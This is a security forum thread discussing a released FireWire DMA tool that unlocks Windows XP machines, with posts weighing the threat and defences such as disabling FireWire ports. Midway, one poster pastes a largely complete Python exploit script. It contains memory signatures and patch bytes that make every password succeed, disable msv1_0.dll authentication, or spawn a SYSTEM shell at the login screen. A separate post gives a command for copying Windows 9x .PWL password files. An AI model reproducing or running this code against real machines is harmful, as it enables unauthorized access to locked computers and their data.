Windows Hacking Tool Released

Quote:

Adam Boileau, a security consultant based in New Zealand has released a tool that can unlock Windows computers in seconds without the need for a password. By connecting a Linux machine to a Firewire port on the target machine, the tool can then modify Windows' password protection code and render it ineffective. Boileau said he did not release the tool publicly in 2006 because 'Microsoft was a little cagey about exactly whether Firewire memory access was a real security issue or not and we didn't want to cause any real trouble'. But now that a couple of years have passed and the issue has not resolved, Boileau decided to release the tool on his website

http://www.theage.com.au/news/securi...402423638.html

Sounds wicked ... Hope M$ does something about it atleast now

re-inventing the wheel...

there are so many tools to getting around login passwords for windows, it is not even funny! This requires a firewire port too, which makes it a very limited "hack"...

DreamPackPL, requires a CD drive... and is so easy to use!

ArpaNet: If breaking into a windows box is what you have in mind, i agree that there are much better alternatives. But, this is the first (and only?) hack
affecting the Firewire implementation on windows. Re-inventing the wheel? ... I don't think so.

Yes, it is a huge security vulnerability that requires nothing more than physical access, and a firewire port.

Useless. Physical access has always defeated security.

Interesting,

As I don't use Firewire I wouldn't even have thought about it.

Quote:

"If you have a Firewire port, disable it when you aren't using it," Ducklin said.
"That way, if someone does plug into your port unexpectedly, your side of the Firewire link is dead, so they can't interact with your PC, legitimately or otherwise."

Makes sense.............. another one to add to the list :)

Quote:

Useless. Physical access has always defeated security.

True, but there are different levels of physical access. Someone stealing a laptop and having unrestricted access and time is different from a machine on a desk in an open-plan office.

In the latter case there is a much shorter window of opportunity, and someone might notice if you took out a screwdriver? :D

Quote:

Originally Posted by PacketThirst

ArpaNet: If breaking into a windows box is what you have in mind, i agree that there are much better alternatives. But, this is the first (and only?) hack
affecting the Firewire implementation on windows. Re-inventing the wheel? ... I don't think so.

I don't disagree that this is a one of a kind hack, but the outcome is still the same...

maybe not re-inventing, just making the wheel bigger and chrome lol.

Quote:

If breaking into a windows box is what you have in mind

Im sorry is there something else that this hack does?

Quote:

Im sorry is there something else that this hack does?

Its not what the hack does, But what it means to the security community. If you have attacking boxes in mind, this is yet another complicated way to gain unauthorized access. But if defending boxes is your job ( like nihil), this is another aspect that you need to pay close attention to.

Yes, I was envisaging locking down boxes. You can block the CD/DVD and USB sticks, but would quite possibly forget Firewire.

It didn't use to be a problem but these days many desktops ship with Firewire ports.

I was thinking mostly in terms of the enemy within ;)

Quote:

Boileau, a consultant with Immunity Inc., said he did not release the tool publicly in 2006 because "Microsoft was a little cagey about exactly whether Firewire memory access was a real security issue or not and we didn't want to cause any real trouble".

http://kuza55.blogspot.com/2006/10/ruxcon-2006.html

What I don't understand... Why hasn't this been fixed yet?!?

Hi SD~

Quote:

What I don't understand... Why hasn't this been fixed yet?!?

I would suggest the following or a combination:

1. MS don't see it as a problem, and they are not making any serious money out of Firewire as such............... it is not "core" to their products or business.

2. It is still only a "proof of concept" in that there have been no known and serious incidents involving it.

3. It is a "physical security" issue rather than a software one. I guess MS take the view that if you supply Firewire, then it is like providing a CD/DVD drive and allowing your users to do what they like with that.

4. It might be rather difficult to actually fix if it is fundamental to the architecture.

5. You would need to be reasonably technically aware to be able to pull it off, and have a suitable device? That would imply that you have a rogue employee, which is as much an HR problem as anything else?

6. It is very specific because it is a physical attack. That means that the bad guy has to know how to do it, know exactly which machine(s) to target, and be able to do it without detection. I suggest that makes the probability extremely low.

At the moment I am looking at this as just another potential attack vector, although I must say that I am impressed by its ingeniousness :)

It's not that difficult to do. When this first came out I was working for a security company. In a few days a couple of guys there got it to work. They were able to read the Safeboot password of a locked machine. That's not something you should be able to get. Even with physical access.

Hey c'mon there SD~ play fair now! :D

Quote:

It's not that difficult to do. When this first came out I was working for a security company. In a few days a couple of guys there got it to work.

Well we're not talking your average criminal or disgruntled employee there........ those were very knowledgeable IT security professionals?

This bit interests me:

Quote:

They were able to read the Safeboot password of a locked machine. That's not something you should be able to get. Even with physical access.

I am afraid I don't know "Safeboot" but I assume it is some form of third party security software. That raises the question in my mind as to whether this is a generic problem or just one peculiar to the Safeboot product and its architecture? In other words, if I used a different product would it still work?

Incidentally, having found this password, was it usable, or would it have required cracking?

I notice that you say "locked machine". That makes me curious as to what point this vulnerability occurs at. For example if I have a system that:

1. Is powered down.
2. Has a BIOS password.
3. Has a hard drive password.
4. Has an operating system/user ID & password.
5. Has a totally encrypted hard drive.

Would this attack still work?

:)

Safeboot is a full drive encryption. And yes, they were able to use that password straight away.
After typing in the password it stayed in memory, unencrypted. This 'issue' was resolved by Safeboot by removing the password from memory as soon as it wasn't needed anymore.

So yes, the issue is partly hardware and partly software.
Unfortunately a lot of software keep their passwords in memory for far to long.

Quote:

Originally Posted by SirDice

Safeboot is a full drive encryption. And yes, they were able to use that password straight away.
After typing in the password it stayed in memory, unencrypted. This 'issue' was resolved by Safeboot by removing the password from memory as soon as it wasn't needed anymore.

So yes, the issue is partly hardware and partly software.
Unfortunately a lot of software keep their passwords in memory for far to long.

I have this on a floppy from about 5 years ago:

copy C:/WINDOWS*.PWL a:

Not sure if that syntax is exactly what I put on there, I haven't used a DOS prompt in awhile.

That will only really work with Windows 9x boxes - (and maybe Me but don't quote me on that.) The old windows boxes used to store the password in a pwl file which could be copied just like any other file on the system from a bootable floppy- obviously NT now uses the SAM and SYSKEY instead.

(Still worth keeping though - I quite often run into 98 boxes in the corner of offices etc.)

Quote:

I notice that you say "locked machine". That makes me curious as to what point this vulnerability occurs at. For example if I have a system that:

1. Is powered down.
2. Has a BIOS password.
3. Has a hard drive password.
4. Has an operating system/user ID & password.
5. Has a totally encrypted hard drive.

Would this attack still work?

1) If the system is powered down guess what...Windows is not even loaded....so ermm I'd go out on a limb and say that no it won't work

2) Why would a BIOS password prevent accessing memory via firewires' DMA usage?

3) Why would a hard drive password prevent accessing memory via firewires' DMA usage?

4) Don't understand what you mean.

5) Why would an encrypted hard drive password prevent accessing memory via firewires' DMA usage?

As most have said - the firewire 'hack' has been around for a while, it is not a typical vulnerability in the strictest sense of the word as it is making use of the way 1394 works i.e. DMA.

It is not as difficult to do as it initially appears either - all you need is a laptop, a python script & a few libraries and a firewire cable - and obviously a laptop/pc that it POWERED ON and locked.

I've recently come across security consultants advising that disabling the firewire port on laptop prevents this attack and ensures you are safe......this is not true - Windows will install new hardware even if the screen is locked, so as I demonstrated to a customer last week, all you need is a PCMCIA firewire card, plug it in and Windows will very kindly install it for you. Then hook your laptop up, plug the firewire cable in and run the python script(s), enter any user name and password you desire - voilla you're now logged in.

Just to be clear though, this is not 100% a Microsoft fault - firewire is an IEEE standard and has been for some time - DMA has been around for as long as I can remember.

MS's responsibility lies in the RtlCompareMemory() function in the MSV1_0.dll constantly being available in memory - if you couple this with the fact that firewire has DMA (Direct Memory Access) then you can change certain files that are running in memory, i.e in thuis case it is possible to patch the dl binary loaded in memory and then logon to the system with any user name and password.( Currently, in my office it's not safe to simply lock your laptop and go make a coffee anymore - you have to either take it with you of turn it off completely :D )

This is just the tip of the ice berg though as technically it is possible to do anything you want when you have direct access to the memory - install malware, rootkits etc etc etc

Here is a python script that (along with a few other 'tools') will make use of the firewire issue - obviously I'm not going to post a working script here but anyone who is vaguely familiar with Python will see the glaringly obvious omission and can rectify the script so it will work.

Code:

import sys import firewire import binascii import time # Targets are dicts, with some properties, and one or more phases # each phase specifies a signature which can be found at one or more # page offsets. When a signature is found the patch is applied at patchoffset # bytes from the beginning of the signature. targets=[{ "name":"WinXP SP2 Fast User Switching Unlock", "notes":"When run against a locked XPSP2 box with FUS on, it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged in anyway.", "phase":[{ "sig":"8BD8F7DB1ADBFEC3", "pageoffset":[2905], "patch":"bb01000000eb0990", "patchoffset":0}] }, {"name":"WinXP SP2 Unlock", "notes":"When run against a locked XPSP2 box with regular non-fast-user-switching, it will cause all passwords to succeed. You'll still get the password-is-wrong dialog, but then you'll get logged in anyway.", "phase":[{ "sig":"0502000010", "pageoffset":[3696], "patch":"b801000000", "patchoffset":0}] }, {"name":"WinXP SP2 msv1_0.dll technique", "notes":"Patches the call which decides if an account requires password authentication. This will cause all accounts to no longer require a password, which covers logging in, locking, and probably network authentication too! This is the best allround XPSP2 technique.", "phase":[{ "sig":"8BFF558BEC83EC50A1", "pageoffset":[0x927], "patch":"B001", "patchoffset":0xa5}] }, {"name":"WinXP SP2 utilman cmd spawn", "notes":"At the winlogon winstation (locked or prelogin), will spawn a system cmd shell. Start util manager with Win-U, and make sure all the disability-tools are stopped (narrator starts by default). Then run this, wait till it's patched a couple of data-phase things, then start narrator. Enjoy a shell. You can use this with the msv1_0.dll technique as well, and log in. Any time you want to get back to your shell, just lock the desktop, and you'll go back to the winlogon winstation where your shell will be waiting.", "phase":[ {"name":"Patch code", "sig":"535689bde8faffffff158810185b898540fbffff39bd40fbffff744e8b8524fb", "pageoffset":[0x39f], "patch":"565383c310899de8faffffff158810185b898540fbffff9090909090", "patchoffset":0x0}, {"name":"Patch data", "sig":"2f0055004d000000d420185b0539185b0000000053006f006600740077006100", "pageoffset":[0x9ac, 0x5ac, 0x3ac], "patch":"63006d0064002e006500780065000000570069006e0053007400610030005c00570069006e006c006f0067006f006e0000", "patchoffset":0x0, "keepgoing":True, } ] } ] start = 0x8000000L end = 0xffffffffL chunk = 4096 print VERSTR def printTargets(targets): i = 1 print " Available Targets:" for t in targets: print " %2d: %s" % (i, t["name"]) i+=1 print "\nTarget Notes:\n" for t in targets: print "%s:\n---------------\n%s\n" % (t["name"], t["notes"]) def usage(): print "Usage: winlockpwn port node target [start-end]" print " - Port and node are the firewire port and node numbers. Use businfo to identify your targets port and node numbers." print " - Target should be one of the numbered targets listed below." print " - You can optionally supply a start-end memory range to search for signatures in, useful if you're restarting, or want to limit the upper end of memory (which will otherwise walk up to 4GB without stopping). This understands anything sensible; eg 0-100M, 0xffff-0x1ffff, 1m-, 200k-1GB, -0xffff." print "(Remember that you'll need to use CSR trickery with romtool to talk DMA to windows.)\n" printTargets(targets) sys.exit(1) if len(sys.argv) < 4: usage() try: port = int(sys.argv[1]) node = int(sys.argv[2]) targetno = int(sys.argv[3]) if len(sys.argv) > 4: start,end = firewire.parseRange(sys.argv[4]) if end == None: end = 0xffffffffL except ValueError: usage() if targetno < 1 or targetno > len(targets): usage() target = targets[targetno -1] print "Target Selection:" print " Name : %s" % target["name"] print " Notes : %s" % target["notes"] for p in target["phase"]: if p.has_key("name"): print "Phase: %s" % p["name"] print " Pattern: 0x%s" % p["sig"] print " Offset : %s" % p["pageoffset"] print " Patch : 0x%s" % p["patch"] print " Offset : %d" % p["patchoffset"] print "Scanning Options:" print " Start : 0x%x" % start print " Stop : 0x%x" % end print " Pagesz : %d" % chunk for so in p["pageoffset"]: if len(p["sig"]) + so > chunk: print "Uh oh, signature crosses page boundary. This isn't supported :(" sys.exit(1) if so + p["patchoffset"] > chunk: print "Uh oh, patch offset crosses page boundary. This isn't supported :(" sys.exix(1) print "Init firwire, port %d node %d" % (port, node) h = firewire.Host() n = h[port][node] print "Snarfin' memories..." sys.stdout.flush() dumppage = False won = False startt = time.time() last = 0 for p in target["phase"]: try: print "Phase: %s" % p["name"] except KeyError: pass signatureoffset=p["pageoffset"] eviloffset = p["patchoffset"] payload = binascii.unhexlify(p["patch"]) pattern = binascii.unhexlify(p["sig"]) eviladdr = None for offset in range(start, end, chunk): now = time.time() if now > (last + 1): last = now print "\rChecking for signature on page at 0x%08x (%dkB) at %d kB/s..." % (offset, offset / 1024, (offset - start) / (now - startt) / 1024 ), sys.stdout.flush() for so in signatureoffset: mem = n.read(offset + so , len(pattern)) if mem == pattern: print "Found signature at 0x%08x" % (offset + so) eviladdr = offset + so + p["patchoffset"] if dumppage: fo = open("winlockpwn.dumppage.0x%08x" % offset, "w") fo.write(n.read(offset, chunk)) fo.close() break if eviladdr != None: won = True print "Setting up teh bomb...", n.write(eviladdr, payload) print "Donezor!" verify=n.read(eviladdr, len(payload)) print "Verified evil: 0x%s" % (binascii.hexlify(verify)) if dumppage: fo = open("winlockpwn.dumppage.0x%08x.patched" % offset, "w") fo.write(n.read(offset, chunk)) fo.close() if p.has_key("keepgoing") and p["keepgoing"]: eviladdr = None else: break if won: print "You may proceed with your nefarious plans" else: print "\nOh noes, you didn't win" endt = time.time() print "Elapsed time %d seconds" % (endt - startt)

This IS NOT my work - it was passed to me by a colleague - as soon as I find where he got it from I will post the link - I am 100% sure it is publicly available which is why I have posted it here.

You will need more than this script alone, but it serves to give an indication of how the 'attack' works and the vectors that are open for abuse - you will need more that this script to exploit anything.

Ya know, someone needs to invent a little padlocked door that you can shut on the backside of a computer to block physical access to ALL ports.

Various and sundry problems solved. :D

Quote:

1) If the system is powered down guess what...Windows is not even loaded....so ermm I'd go out on a limb and say that no it won't work

2) Why would a BIOS password prevent accessing memory via firewires' DMA usage?

3) Why would a hard drive password prevent accessing memory via firewires' DMA usage?

4) Don't understand what you mean.

5) Why would an encrypted hard drive password prevent accessing memory via firewires' DMA usage?

Well, I was attempting to establish the extent and severity of this "threat":

#1 If the machine is turned off, can you just power up and attack it this way?

#2 A BIOS password generally stops you starting the machine?

#3 So?............... I don't care about RAM or processor access..........the question is whether the data on the HDD is accessible.

#4 Like you need to authenticate yourself to access the HDD and its data?

#5 Sorry, I don't see that........... the important data is on the HDD not in the RAM?